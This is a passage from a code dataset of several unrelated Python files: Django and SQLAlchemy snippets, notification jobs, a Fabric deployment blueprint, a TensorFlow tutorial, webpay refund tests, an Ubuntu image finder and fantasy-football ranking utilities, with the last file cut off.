khanAcademyAnswer.objects.values('ka_id').distinct()]\n#\n# list = [];\n# for kid in kid_list:\n# dict = {}\n# dict[kid] = [{'userid':User.objects.get(pk=item['posted_by_id']).username, 'count':item['dcount']} for item in khanAcademyAnswer.objects.filter(ka_id=kid).values('posted_by_id').annotate(dcount=Count('posted_by_id'))]\n# list.append(dict)\n#\n#\n# return HttpResponse()\n#\n#\n# def getBadgeCount(request):\n# #total count of badges each user recieved\n# badge_count = badgeModel.objects.values('userid_id').annotate(dcount=Count('userid_id'));\n# #print(badge_count);\n#\n# # identify different badges for each user\n# #list of unique users who received badge (not all users may not get badge)\n# userid_list = [user['userid_id'] for user in badgeModel.objects.values('userid_id').distinct()]\n# #print(userid_list)\n#\n# # get all of the badges for each user -- it will return dict in the format \n# badge_list = []\n# for userid in userid_list:\n# badge_dict = {}\n# user = User.objects.get(pk=userid).username\n# badge_dict[user] = [item['badgeType'] for item in badgeModel.objects.filter(userid_id=userid).values('badgeType')]\n# badge_list.append(badge_dict)\n#\n# #print(badge_list)\n# return HttpResponse(badge_list)\n#\n# def getBadgeDetails(request):\n# badge_list = badgeModel.objects.values('message','badgeType','userid_id');\n# list=[];\n# for item in badge_list:\n# list.append(item)\n# print(list)\n# return HttpResponse(list)\n\n# def addUserToGroupsForm(request):\n# return render(request, 'app/group.html', {})\n#\n# def deleteAllItems(request):\n# brainstormNote.objects.all().delete()\n# imageModel.objects.all().delete()\n# Message.objects.all().delete()\n# random_group_users.objects.all().delete();\n# #userLogTable.objects.all().delete();\n# # groupInfo.objects.all().delete()\n#\n# return HttpResponse('')\n#\n# def getAllUserList():\n# users_list = [str(user) for user in User.objects.all()]\n#\n# return users_list;","sub_path":"textbook/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":82493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"572648951","text":"from sqlalchemy import Column, String, Integer, Date, Table, ForeignKey,create_engine\nfrom sqlalchemy.orm import mapper\nfrom base import Base, MetaData,Session,metadata\n\n#original table def \n\n # comm_code character varying(255) COLLATE pg_catalog.\"default\" NOT NULL,\n # name character varying(255) COLLATE pg_catalog.\"default\",\n # sector character varying(255) COLLATE pg_catalog.\"default\",\n # class character varying(255) COLLATE pg_catalog.\"default\",\n # res_cnt character varying(255) COLLATE pg_catalog.\"default\",\n # dwell_cnt character varying(255) COLLATE pg_catalog.\"default\",\n # comm_structure character varying(255) COLLATE pg_catalog.\"default\",\n # gcoord json,\n # gcenter json,\n\n\n\n\nclass Communities(object):\n comm_code = Column(String, primary_key=True)\n name = Column(String)\n sector = Column(String)\n cclass = Column(String)\n res_cnt = Column(String)\n dwell_cnt = Column(String)\n com_structure = Column(String)\n gcoord = Column(String)\n gcenter = Column(String)\n\ndef set_query_table():\n\n #census = Table('census2018', metadata, autoload=True)\n census = Table('cgy2018', metadata, \n Column('comm_code', String, primary_key=True),\n Column('name', String),\n Column('sector', String),\n Column('cclass', String),\n Column('res_cnt', String),\n Column('dwell_cnt', String),\n Column('comm_structure', String),\n Column('gcoord', String),\n Column('gcenter', String) )\n\n mapper(Communities, census)\n session = Session()\n return session\n\ndef get_community_list():\n session = set_query_table()\n res = session.query(Communities) \\\n .filter(Communities.cclass == 'Residential' ) \\\n .all()\n result = []\n for item in res:\n result.append (item.name)\n return result\n\n#get_community_list()\nprint (get_community_list())\n\n\n\n","sub_path":"cgyflask/SQLAlchemy version/cgydata/community_list.py","file_name":"community_list.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"272141063","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport unittest\nimport sys\nimport os\n\nsys.path.insert(0, os.path.abspath('..'))\nfrom drupan.plugins import tags\n\n\nclass Obj(object):\n \"\"\"small content object\"\"\"\n def __init__(self):\n self.meta = {\n 'tags': ['tag1', 'tag2']\n }\n\n\nclass Config(object):\n def __init__(self):\n self.url = \"http://foo.tld/\"\n self.layouts = {\n 'tags': [\"tag/$title/\", \"_tag.html\"]\n }\n\n\nclass So(object):\n \"\"\"small site object\"\"\"\n def __init__(self):\n co = Obj()\n self.content = [co]\n cfg = Config()\n self.config = cfg\n\n\nclass ValidTagTest(unittest.TestCase):\n def test_tag_generation(self):\n site = So()\n plugin = tags.Feature(site)\n plugin.run()\n self.assertTrue(\"tag1\" in plugin.tags)\n self.assertTrue(\"tag2\" in plugin.tags)\n self.assertEqual(site.content[1].url, \"http://foo.tld/tag/tag1/\")\n self.assertEqual(site.content[2].url, \"http://foo.tld/tag/tag2/\")\n\n\ndef main():\n unittest.main()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tests/test_plugin_tag.py","file_name":"test_plugin_tag.py","file_ext":"py","file_size_in_byte":1110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"479112853","text":"import datetime\n\nfrom django_rq.decorators import job\n\nfrom tunga.settings import TUNGA_CONTACT_REQUEST_EMAIL_RECIPIENTS, \\\n SLACK_STAFF_INCOMING_WEBHOOK, \\\n SLACK_STAFF_PLATFORM_ALERTS, MANDRILL_VAR_FIRST_NAME\nfrom tunga_utils import slack_utils, mandrill_utils\nfrom tunga_utils.emails import send_mail\nfrom tunga_utils.helpers import clean_instance\nfrom tunga_utils.models import ContactRequest, InviteRequest\n\n\n@job\ndef notify_new_contact_request_email(contact_request):\n contact_request = clean_instance(contact_request, ContactRequest)\n\n if contact_request.body:\n slack_msg = '{} {} is inquiring about {}'.format(\n contact_request.fullname,\n contact_request.email,\n contact_request.body,\n )\n\n slack_utils.send_incoming_webhook(\n SLACK_STAFF_INCOMING_WEBHOOK,\n {\n slack_utils.KEY_TEXT: slack_msg,\n slack_utils.KEY_CHANNEL: SLACK_STAFF_PLATFORM_ALERTS\n }\n )\n\n else:\n subject = \"New {} Request\".format(\n contact_request.item and 'Offer' or 'Contact')\n msg_suffix = 'wants to know more about Tunga.'\n if contact_request.item:\n item_name = contact_request.get_item_display()\n subject = '%s (%s)' % (subject, item_name)\n msg_suffix = 'requested for \"%s\"' % item_name\n to = TUNGA_CONTACT_REQUEST_EMAIL_RECIPIENTS\n\n ctx = {\n 'email': contact_request.email,\n 'message': '%s %s ' % (\n contact_request.email,\n msg_suffix\n )\n }\n\n slack_msg = \"%s %s\" % (subject, msg_suffix)\n\n if slack_utils.send_incoming_webhook(SLACK_STAFF_INCOMING_WEBHOOK,\n {\n slack_utils.KEY_TEXT: slack_msg,\n slack_utils.KEY_CHANNEL: SLACK_STAFF_PLATFORM_ALERTS\n }\n ):\n contact_request.email_sent_at = datetime.datetime.utcnow()\n contact_request.save()\n\n\n@job\ndef notify_new_developer_request_email(invite_request):\n invite_request = clean_instance(invite_request, InviteRequest)\n to = [invite_request.email]\n\n merge_vars = [\n mandrill_utils.create_merge_var(MANDRILL_VAR_FIRST_NAME,\n invite_request.name),\n ]\n\n mandrill_response = mandrill_utils.send_email('110-developer-submitted-an-application', to, merge_vars=merge_vars)\n if mandrill_response:\n invite_request.email_sent_at = datetime.datetime.utcnow()\n invite_request.save()\n","sub_path":"tunga_utils/notifications/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"265011851","text":"# -*- coding: UTF-8 -*-\nimport requests\n\n\ndef seo_api(content):\n data = {\n 'content': content,\n 'ratio': 30\n }\n response = requests.post('http://www.seowyc.com/seo/api/wyc.html', data=data, timeout=6)\n c = response.json()['content'].strip()\n return c\n\n\nif __name__ == '__main__':\n result = seo_api('我是蛇啊')\n print(result)\n","sub_path":"seo.py","file_name":"seo.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"216918745","text":"import os\nfrom fabric.api import env\nfrom fuselage.contrib.fabric import blueprint\nfrom fuselage.resources import *\n\n\nsystemd_unit = \"\"\"\n[Unit]\nDescription = pubbot irc service\n\n[Service]\nExecStart = /var/local/pubbot/bin/pubbot bot\nUser = pubbot\nGroup = pubbot\nRestart = always\nRestartSec = 30\n\n[Install]\nWantedBy = multi-user.target\n\"\"\".strip()\n\napt_preferences_redis = \"\"\"\nPackage: redis-server\nPin: release n=wheezy-backports\nPin-Priority: 900\n\"\"\".strip()\n\nredis_launchd = \"\"\"\n\n\n\n \n KeepAlive\n \n SuccessfulExit\n \n \n Label\n homebrew.mxcl.redis\n UserName\n pubbot\n ProgramArguments\n \n /usr/local/opt/redis/bin/redis-server\n /usr/local/etc/redis.conf\n \n RunAtLoad\n \n WorkingDirectory\n /usr/local/var\n StandardErrorPath\n /usr/local/var/log/redis.log\n StandardOutPath\n /usr/local/var/log/redis.log\n \n\n\"\"\".strip()\n\n\npubbot_launchd = \"\"\"\n\n\n\n \n KeepAlive\n \n SuccessfulExit\n \n \n Label\n io.unrouted.pubbot\n UserName\n pubbot\n ProgramArguments\n \n /Users/pubbot/pubbot/bin/pubbot\n bot\n \n RunAtLoad\n \n WorkingDirectory\n /Users/pubbot/pubbot\n StandardErrorPath\n /tmp/pubbot.log\n StandardOutPath\n /tmp/pubbot.log\n \n\n\"\"\".strip()\n\n\n@blueprint\ndef deploy(bundle, **kwargs):\n yield Group(name=\"pubbot\")\n\n yield User(\n name=\"pubbot\",\n group=\"pubbot\",\n home=\"/var/local/pubbot\",\n shell=\"/bin/false\",\n system=True,\n )\n\n yield Directory(\n name='/var/local/pubbot',\n owner='pubbot',\n )\n\n yield Directory(\n name='/var/local/pubbot/var',\n owner='pubbot',\n )\n\n yield Package(name=\"git-core\")\n yield Package(name=\"python-dev\")\n yield Package(name=\"python-virtualenv\")\n\n yield File(\n name=\"/etc/apt/preferences.d/redis-server\",\n contents=apt_preferences_redis,\n )\n\n yield File(\n name=\"/etc/apt/sources.list.d/wheezy-backports\",\n contents=\"deb http://ftp.debian.org/debian wheezy-backports main contrib non-free\",\n )\n\n yield Execute(\n command=\"apt-get update\",\n watches=[\n \"/etc/apt/preferences.d/redis-server\",\n \"/etc/apt/sources.list.d/wheezy-backports\",\n ]\n )\n\n yield Package(name=\"redis-server\")\n\n yield Execute(\n command='virtualenv /var/local/pubbot',\n creates='/var/local/pubbot/bin/pip',\n user='pubbot',\n )\n\n yield Checkout(\n name='/var/local/pubbot/src',\n repository='git://github.com/pubbothq/pubbot',\n scm=\"git\",\n user='pubbot',\n branch='master',\n )\n\n yield Execute(\n command='/var/local/pubbot/bin/pip install -r /var/local/pubbot/src/requirements.txt',\n cwd='/var/local/pubbot/src',\n user='pubbot',\n watches=['/var/local/pubbot/src'],\n )\n\n yield Execute(\n command='/var/local/pubbot/bin/pubbot update',\n cwd='/var/local/pubbot/src',\n user='pubbot',\n watches=['/var/local/pubbot/src'],\n )\n\n yield File(\n name=\"/etc/systemd/system/pubbot.service\",\n contents=systemd_unit,\n )\n\n yield Execute(\n command=\"systemctl daemon-reload\",\n watches=['/etc/systemd/system/pubbot.service'],\n )\n\n yield Execute(\n command=\"systemctl enable /etc/systemd/system/pubbot.service\",\n creates=\"/etc/systemd/system/multi-user.target.wants/pubbot.service\",\n )\n\n yield Execute(\n command=\"systemctl restart pubbot.service\",\n watches=[\n \"/var/local/pubbot/src\",\n \"/etc/systemd/system/pubbot.service\",\n ]\n )\n\n\n@blueprint\ndef deploy_osx(bundle, **kwargs):\n yield Execute(\n command=\"brew install redis\",\n creates=\"/usr/local/bin/redis-server\",\n )\n yield File(\n name=\"/Library/LaunchDaemons/homebrew.mxcl.redis.plist\",\n contents=redis_launchd,\n )\n yield Execute(\n command=\"launchctl load /Library/LaunchDaemons/homebrew.mxcl.redis.plist\",\n watches=[\"/Library/LaunchDaemons/homebrew.mxcl.redis.plist\"],\n )\n\n yield Execute(\n command=\"easy_install virtualenv\",\n creates=\"/usr/local/bin/virtualenv\",\n )\n\n yield Execute(\n command='virtualenv /Users/pubbot/pubbot',\n creates='/Users/pubbot/pubbot/bin/pip',\n user='pubbot',\n )\n\n yield Directory(\n name='/Users/pubbot/pubbot/var',\n owner='pubbot',\n )\n\n yield Checkout(\n name='/Users/pubbot/pubbot/src',\n repository='git://github.com/pubbothq/pubbot',\n scm=\"git\",\n user='pubbot',\n branch='master',\n )\n\n yield Execute(\n command='/Users/pubbot/pubbot/bin/pip install -r /Users/pubbot/pubbot/src/requirements.txt',\n cwd='/Users/pubbot/pubbot/src',\n user='pubbot',\n watches=['/Users/pubbot/pubbot/src'],\n )\n\n yield Execute(\n command='/Users/pubbot/pubbot/bin/pubbot update',\n cwd='/Users/pubbot/pubbot/src',\n user='pubbot',\n watches=['/Users/pubbot/pubbot/src'],\n )\n\n yield File(\n name=\"/Library/LaunchDaemons/io.unrouted.pubbot.plist\",\n contents=pubbot_launchd,\n )\n yield Execute(\n commands=[\n \"sh -c 'launchctl unload /Library/LaunchDaemons/io.unrouted.pubbot.plist || true'\",\n \"launchctl load /Library/LaunchDaemons/io.unrouted.pubbot.plist\",\n ],\n watches=[\n \"/Users/pubbot/pubbot/src\",\n \"/Library/LaunchDaemons/io.unrouted.pubbot.plist\",\n ],\n )\n","sub_path":"fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":6482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"575237120","text":"from sqlalchemy import Column, ForeignKey, String\nfrom sqlalchemy.orm import relationship\nfrom base import Base\nfrom task_list import TaskList\n\n\nclass TrackingKey(Base):\n __tablename__ = 'trackingkey'\n\n UniqueId = Column(String(32), primary_key=True)\n TrackKey = Column(String(5), nullable= False)\n TaskUniqueId = Column(String(32), ForeignKey('tasklist.UniqueId'))\n Time = Column(String(250), nullable= False)\n Date = Column(String(250), nullable= False)\n tasklist = relationship(TaskList)\n\n\n\n @property\n def serialize(self):\n \"\"\"Return object data in easily serializeable format\"\"\"\n return {\n 'UniqueId': self.UniqueId,\n 'TrackingKey': self.TrackKey,\n 'TaskUniqueId': self.TaskUniqueId,\n 'CreatedTime': self.Time\n }\n","sub_path":"src/models/tracking_key.py","file_name":"tracking_key.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"305708363","text":"'''\n安装tensorflow:\n pip install tensorflow\n pip install tensorflow-gpu\nTensorflow 首先要定义神经网络的结构, 然后再把数据放入结构当中去运算和 training。\nTensorFlow是采用数据流图(data flow graphs)来计算。\n将数据(数据以张量(tensor)的形式存在)放在数据流图中计算。\n节点(Nodes)在图中表示数学操作,图中的线(edges)则表示在节点间相互联系的多维数据数组, 即张量(tensor).\n训练模型时tensor会不断的从数据流图中的一个节点flow到另一节点, 这就是TensorFlow名字的由来.\n\n张量(Tensor):\n 张量有多种. 零阶张量为 纯量或标量 (scalar) 也就是一个数值. 比如 [1]\n 一阶张量为 向量 (vector), 比如 一维的 [1, 2, 3]\n 二阶张量为 矩阵 (matrix), 比如 二维的 [[1, 2, 3],[4, 5, 6],[7, 8, 9]]\n 以此类推, 还有 三阶 三维的 \n'''\n\nimport tensorflow as tf \nimport numpy as np \n\n# 创建数据\nx_data = np.random.rand(100).astype(np.float32) # tensorflow中数据位float32格式的\ny_data = x_data*0.1 + 0.3 # ��要学习的公式 Weights=0.1 biases=0.3\n\n# 搭建模型\n# 用 tf.Variable 来创建描述 y 的参数\n'''\n# 把 y_data = x_data*0.1 + 0.3 想象成 y=Weights * x + biases, \n# 然后神经网络也就是学着把 Weights 变成 0.1, biases 变成 0.3.\n'''\nWeights = tf.Variable(tf.random_uniform([1], -1.0, 1.0)) # Weights为一维结构,初始值随机,在(-1,1)之间\nbiases = tf.Variable(tf.zeros([1])) # biases初始值为0\n# tensorflow通过学习,通过修改上述两个参数,逼近需要学习的公式\n\ny = Weights * x_data + biases # 预测的y值\n\n# 计算误差\nloss = tf.reduce_mean(tf.square(y-y_data)) # 计算预测的y与实际y之间的差值,即误差\n\n# 传播误差,反向传递误差工作交给optimizer\n\n# 建立优化器,使用GradientDescentOptimizer优化器,设置学习效率为0.5\n# 误差传递方法是梯度下降法:Gradient Descent\noptimizer = tf.train.GradientDescentOptimizer(0.5) \n\n# 使用 optimizer 来进行参数的更新。\ntrain = optimizer.minimize(loss) \n\n\n# 通过训练,减少误差\n#init = tf.initialize_all_variables() # v1.2初始化\ninit = tf.global_variables_initializer() # v1.4初始化\n\n##### create tensorflow structure end ###\n\nsess = tf.Session() # 设置tensorflow的session\nsess.run(init) # 激活神经网络\n\nfor step in range(201):\n sess.run(train) # 进行训练\n if step % 20 == 0:\n # 每隔20步,打印Weights和biases\n print(step, sess.run(Weights), sess.run(biases))","sub_path":"01_tensorflow_tutial.py","file_name":"01_tensorflow_tutial.py","file_ext":"py","file_size_in_byte":2589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"600335268","text":"from decimal import Decimal\nimport json\n\nimport mock\nfrom nose.tools import eq_\n\nimport amo\nimport amo.tests\nfrom amo.urlresolvers import reverse\nfrom addons.models import Addon\nfrom lib.crypto.webpay import sign_webpay_jwt\nfrom mkt.purchase.tests.samples import refund\nfrom stats.models import Contribution\nfrom users.models import UserProfile\n\n\nclass SalesTest(object):\n\n def setUp(self):\n self.app = Addon.objects.get(pk=337141)\n self.user = UserProfile.objects.get(pk=999)\n self.sale = Contribution.objects.create(\n addon=self.app, amount=Decimal(1),\n bluevia_transaction_id='1',\n type=amo.CONTRIB_PURCHASE, user=self.user)\n\n\nclass TestRefund(SalesTest, amo.tests.TestCase):\n fixtures = ['webapps/337141-steamcube', 'base/users']\n\n def setUp(self):\n super(TestRefund, self).setUp()\n self.url = reverse('webpay.prepare_refund',\n args=[self.app.app_slug, '1'])\n self.client.login(username='regular@mozilla.com', password='password')\n\n def test_logged_out(self):\n self.client.logout()\n self.assertLoginRequired(self.client.post(self.url))\n\n def test_wrong_uid(self):\n url = reverse('webpay.prepare_refund',\n args=[self.app.app_slug, '4'])\n eq_(self.client.post(url).status_code, 400)\n\n def test_not_mine(self):\n self.sale.update(user=UserProfile.objects.get(pk=10482))\n eq_(self.client.post(self.url).status_code, 400)\n\n def test_not_purchase(self):\n self.sale.update(type=amo.CONTRIB_REFUND)\n eq_(self.client.post(self.url).status_code, 400)\n\n @mock.patch('apps.stats.models.Contribution.is_instant_refund')\n def test_not_instant(self, is_instant_refund):\n is_instant_refund.return_value = False\n eq_(self.client.post(self.url).status_code, 400)\n\n def test_success(self):\n res = self.client.post(self.url)\n eq_(res.status_code, 200)\n assert 'webpayJWT' in json.loads(res.content)\n\n\nclass TestPostback(SalesTest, amo.tests.TestCase):\n fixtures = ['webapps/337141-steamcube', 'base/users']\n\n def setUp(self):\n super(TestPostback, self).setUp()\n self.url = reverse('webpay.chargeback')\n\n @mock.patch('lib.crypto.webpay.verify_webpay_jwt')\n def test_not_valid(self, verify_webpay_jwt):\n verify_webpay_jwt.return_value = {'valid': False}\n eq_(self.client.post(self.url).status_code, 400)\n\n @mock.patch('mkt.purchase.webpay.parse_from_webpay')\n def test_wrong_uid(self, parse_from_webpay):\n parse_from_webpay.return_value = {'response':\n {'transactionID': '4'}}\n eq_(self.client.post(self.url).status_code, 400)\n\n @mock.patch('mkt.purchase.webpay.parse_from_webpay')\n def test_parsed(self, parse_from_webpay):\n parse_from_webpay.return_value = {'response':\n {'transactionID': '1'}}\n res = self.client.post(self.url)\n eq_(res.status_code, 200)\n eq_(self.sale.is_refunded(), True)\n\n refunds = Contribution.objects.filter(type=amo.CONTRIB_REFUND)\n eq_(len(refunds), 1)\n\n refund = refunds[0]\n eq_(refund.amount, -self.sale.amount)\n eq_(refund.bluevia_transaction_id, None)\n eq_(refund.related, self.sale)\n\n @mock.patch('mkt.purchase.webpay.parse_from_webpay')\n def test_purchased(self, parse_from_webpay):\n # Just a double check that receipts will be invalid.\n parse_from_webpay.return_value = {'response':\n {'transactionID': '1'}}\n\n eq_(self.app.has_purchased(self.user), True)\n res = self.client.post(self.url)\n eq_(res.status_code, 200)\n eq_(self.app.has_purchased(self.user), False)\n eq_(self.app.is_refunded(self.user), True)\n\n def test_encode(self):\n data = sign_webpay_jwt(refund)\n res = self.client.post(self.url, data, content_type='application/json')\n eq_(res.status_code, 200)\n eq_(self.sale.is_refunded(), True)\n\n @mock.patch('mkt.purchase.webpay_tasks._notify')\n def test_notifies(self, _notify):\n data = sign_webpay_jwt(refund)\n res = self.client.post(self.url, data, content_type='application/json')\n eq_(res.status_code, 200)\n assert _notify.called\n","sub_path":"mkt/purchase/tests/test_webpay_refund.py","file_name":"test_webpay_refund.py","file_ext":"py","file_size_in_byte":4433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"627684219","text":"import requests\nimport json\n\nBASE_URL = 'https://cloud-images.ubuntu.com/'\nURL = BASE_URL + 'query2/ec2.json'\n\n\ndef extract(catalog, dist, ver):\n tag = \"release\"\n\n for distro in catalog['catalog']:\n if distro['distro_version'] != ver:\n continue\n for build in distro['build_types']['server']:\n if build['release_tag'] != tag:\n continue\n arch = build['arches']['amd64']\n for image in arch['file_list']:\n if image['file_type'] != 'qcow2':\n continue\n return dict(\n serial=build['build_serial'],\n url=BASE_URL + image['path'],\n sha512=image['sha512'],\n )\n\ndef fetch():\n r = requests.get(URL)\n r.raise_for_status()\n try:\n catalog = r.json\n except AttributeError:\n catalog = json.loads(r.content)\n return catalog\n\ndef get(distro, distroversion):\n if distro == \"ubuntu\":\n catalog = fetch()\n return extract(catalog, dist=distro, ver=distroversion)\n else:\n raise NameError('Downloadiong of distributions other than Ubuntu not supported by downburst.')\n return None\n","sub_path":"downburst/discover.py","file_name":"discover.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"233420730","text":"import os\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.stats import gaussian_kde\r\nfrom scipy.signal import argrelmin\r\n\r\n#____________________\r\ndef square_matrix(X):\r\n '''Squares a matrix'''\r\n\r\n result = np.zeros(shape=(len(X), len(X[0])))\r\n\r\n # iterate through rows of X\r\n for i in range(len(X)):\r\n # iterate through columns of X\r\n for j in range(len(X[0])):\r\n # iterate through rows of X\r\n for k in range(len(X)):\r\n result[i][j] += X[i][k] * X[k][j]\r\n \r\n return result\r\n\r\n\r\n#_____________________\r\ndef weigh_matrix(X, w):\r\n '''multiplies matrix by weight'''\r\n \r\n result = np.zeros(shape=(len(X), len(X[0])))\r\n\r\n for i in range(len(X)):\r\n # iterate through columns\r\n for j in range(len(X[0])):\r\n result[i][j] = X[i][j] * w\r\n\r\n return result\r\n\r\n\r\n#____________________\r\ndef add_matrix(X, Y):\r\n '''Adds two matrices'''\r\n\r\n result = np.zeros(shape=(len(X), len(X[0])))\r\n\r\n for i in range(len(X)):\r\n # iterate through columns\r\n for j in range(len(X[0])):\r\n result[i][j] = X[i][j] + Y[i][j]\r\n\r\n return result\r\n\r\n\r\n#________________________\r\ndef two_step_dominance(X, teams):\r\n '''Calculates result of two step dominance formula, with weights specified'''\r\n \r\n w_sq = 0.25 # weigh squared matrix\r\n w_l = 0.75 # weigh linear matrix\r\n \r\n sq = weigh_matrix( square_matrix(X), w_sq )\r\n l = weigh_matrix( X, w_l )\r\n \r\n matrix = add_matrix( sq, l)\r\n \r\n for row,team in zip(matrix,teams):\r\n r_sum = sum(row)\r\n team.dom_rank = r_sum\r\n\r\n # normalize avg to 1.\r\n dom_list = [x.dom_rank for x in teams]\r\n avg_dom = float(sum(dom_list))/len(dom_list)\r\n\r\n for t in teams:\r\n t.dom_rank = t.dom_rank * 1./avg_dom\r\n\r\n\r\n#_______________________________________\r\ndef power_points(teams, week):\r\n '''Returns list of power points \r\n weigh dominance matrix rank, \r\n lsq rank\r\n colley rank\r\n avg score, \r\n min+max,\r\n sos,\r\n streak,\r\n luck'''\r\n \r\n for team in teams:\r\n dom = float(team.dom_rank)\r\n lsq = float(team.lsq_rank)\r\n colley = float(team.colley_rank)\r\n sos = float(team.sos)\r\n luck = 1./float(team.luck)\r\n streak = float(team.streak)*int(team.streak_sgn)\r\n avg_score = sum(team.scores[:week]) / float(week)\r\n min_max = 0.5*float(min(team.scores[:week])) + 0.5*float(max(team.scores[:week]))\r\n \r\n # Only winning streaks longer than 1 game count\r\n streak = 0.25*streak if streak > 1 else 0.\r\n consistency = float(min_max)/avg_score\r\n\r\n #power = 0.35*lsq + 0.22*dom + 0.1*colley + 0.10*sos + 0.10*luck + 0.08*consistency + 0.05*streak\r\n power = 0.21*dom + 0.18*lsq + 0.18*colley + 0.15*team.awp + 0.10*sos + 0.08*luck + 0.05*consistency + 0.05*streak\r\n \r\n team.power_rank = 100*np.tanh(power/0.5)\r\n \r\n\r\n#________________________________________________\r\ndef get_tiers(teams, week, bw = 0.1, show=False):\r\n '''Set the tiers based on overall ranking, \r\n optionally send bandwidth '''\r\n \r\n # store rankings locally \r\n r = []\t\r\n for t in teams:\r\n r.append(t.power_rank) \r\n\r\n # Calculate Kernal Density Estimation\r\n #x_grid = np.linspace(min(r),max(r),len(r))\r\n x_grid = np.linspace(min(r)-10.,max(r)+10.,len(r)*10)\r\n #x_grid = np.linspace(0,100,10*len(r))\r\n kde = gaussian_kde(r,bw_method=bw)\r\n \r\n # Make plot\r\n f2 = plt.figure(figsize=(10,6))\r\n plt.plot(x_grid,kde(x_grid))\r\n if show == True:\r\n plt.show()\r\n # create directory if it doesn't exist yet\r\n out_name = 'output/Week%s/tiers.png'%week\r\n os.makedirs(os.path.dirname(out_name), exist_ok=True)\r\n f2.savefig(out_name)\r\n plt.close()\r\n\r\n # Find minima to define tiers (spaced at least +/- 6 apart)\r\n minima = x_grid[ argrelmin( kde(x_grid),order=4 )[0] ]\r\n s_min = sorted(minima, reverse=True)\r\n tier = 1\r\n for t in teams:\r\n # lowest tier\r\n if tier > len(s_min):\r\n tier += 0\r\n # if rank below current minima, create new tier\r\n elif t.power_rank < s_min[tier-1]: \r\n if tier < 5:\r\n tier += 1\r\n # save tier\r\n t.tier = tier\r\n\r\n\r\n#________________________________________\r\ndef save_ranks(teams, week, getPrev=False):\r\n '''Saves rankings to file\r\n optionally read previous rankings'''\r\n \r\n teams_sorted = sorted(teams, key=lambda x: x.power_rank, reverse=True)\r\n \r\n # Save Power rankings teamId:rank \r\n new_name = 'output/week%s/ranks_power.txt'%(week)\r\n os.makedirs(os.path.dirname(new_name), exist_ok=True)\r\n f_new = open(new_name,'w')\r\n # sorted by power rankings\r\n for i,t in enumerate(teams_sorted):\r\n f_new.write('%s:%s\\n'%(t.teamId,i+1))\r\n f_new.close()\r\n\r\n # Save espn overall rankings teamId:rank \r\n teams_sorted_overall = sorted(teams, key=lambda x: (x.wins, x.pointsFor), reverse=True)\r\n new_name = 'output/week%s/ranks_overall.txt'%(week)\r\n os.makedirs(os.path.dirname(new_name), exist_ok=True)\r\n f_new = open(new_name,'w')\r\n # sorted by espn overall rankings\r\n for i,t in enumerate(teams_sorted_overall):\r\n f_new.write('%s:%s\\n'%(t.teamId,i+1))\r\n t.rank_overall = (i+1)\r\n f_new.close()\r\n\r\n # Compare to previous rankings\r\n if getPrev == False:\r\n return\r\n \r\n # Get Previous power rankings \r\n old_name = 'output/week%s/ranks_power.txt'%(week-1)\r\n os.makedirs(os.path.dirname(old_name), exist_ok=True)\r\n f_old = open(old_name,'r')\r\n for line in f_old:\r\n team_rank = (line.strip()).split(':')\r\n t_id = team_rank[0]\r\n t_rk = team_rank[1]\r\n # sorted by this weeks power rankings\r\n for t in teams_sorted:\r\n if int(t.teamId) == int(t_id):\r\n t.prev_rank = t_rk\r\n f_old.close()\r\n \r\n # Get Previous overall rankings \r\n old_name = 'output/week%s/ranks_overall.txt'%(week-1)\r\n os.makedirs(os.path.dirname(old_name), exist_ok=True)\r\n f_old = open(old_name,'r')\r\n for line in f_old:\r\n team_rank = (line.strip()).split(':')\r\n t_id = team_rank[0]\r\n t_rk = team_rank[1]\r\n # sorted by this weeks overall\r\n for t in teams_sorted_overall:\r\n if int(t.teamId) == int(t_id):\r\n t.prev_rank_overall = t_rk\r\n f_old.close()\r\n\r\n\r\n","sub_path":"Phys/espnff/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"202770582","text":"\"\"\"\nMisc Utilities\n\"\"\"\nfrom collections import Iterable, Sequence\n\n\nASSUMED_ENCODING = \"utf-8\"\n\n\nclass CharacterSequence(object):\n \"\"\"\n Sequence of characters.\n \"\"\"\n VOWELS = frozenset(\"AaEeIiOoUu\")\n SEQUENCE_TYPES = (tuple, list, frozenset, set)\n\n def __init__(self, iterable):\n self._iterable = iterable\n\n @property\n def reversed_with_upper_vowels(self):\n \"\"\"\n Reverse our content, converting all vowels to uppercase,\n and everything else to lowercase.\n\n Note: Only English language vowels are recognized (AEIOU).\n\n Return a sequence if our content is an instance of one of\n these sequence types:\n\n - str\n - unicode\n - tuple\n - list\n - frozenset\n - set\n\n In this case, the type of the returned object will be the same\n as the matched type of our content.\n\n Otherwise, an iterator will be returned that yields each\n character one at a time.\n\n If our content contains nested strings or iterables that yield\n strings, they will be processed recursively and flattened into\n a single linear sequence.\n \"\"\"\n new_iterator = self._get_reverse_upper_vowels_iterator(self._iterable)\n\n if isinstance(self._iterable, str):\n return u\"\".join(new_iterator).encode(ASSUMED_ENCODING)\n\n elif isinstance(self._iterable, unicode):\n return 